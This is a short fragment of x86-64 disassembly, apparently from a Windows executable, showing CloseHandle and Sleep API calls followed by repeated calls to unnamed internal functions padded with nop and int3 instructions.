call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.1400587f8
int3
mov rdx, r9
lea rcx, [rbp + 0x1150]
call fcn.140001c50
lea rdx, [0x140095d90]
lea rcx, [rbp + 0x1150]
call fcn.140054a1c
nop
mov rdx, r9
lea rcx, [rbp + 0x1138]
call fcn.140001c50
lea rdx, [0x140095d90]
lea rcx, [rbp + 0x1138]
call fcn.140054a1c
nop
call fcn.14005ffec
nop
call fcn.14005ffec
nop
call fcn.140001bc0
nop
call fcn.14005ffec
nop
call fcn.14005ffec
nop
call fcn.14005ffec
nop
call fcn.14005ffec
nop
call fcn.140001bc0
int3
call fcn.14005ffec
nop
call fcn.14005ffec
nop
call fcn.140001bc0
int3
call fcn.14005ffec
nop
call fcn.14005ffec
nop
call fcn.14005ffec
nop
call fcn.14005ffec
nop
call fcn.14005ffec
nop
call fcn.14005ffec
nop
call fcn.14005ffec
nop
call fcn.14005ffec
nop
call fcn.14005ffec
int3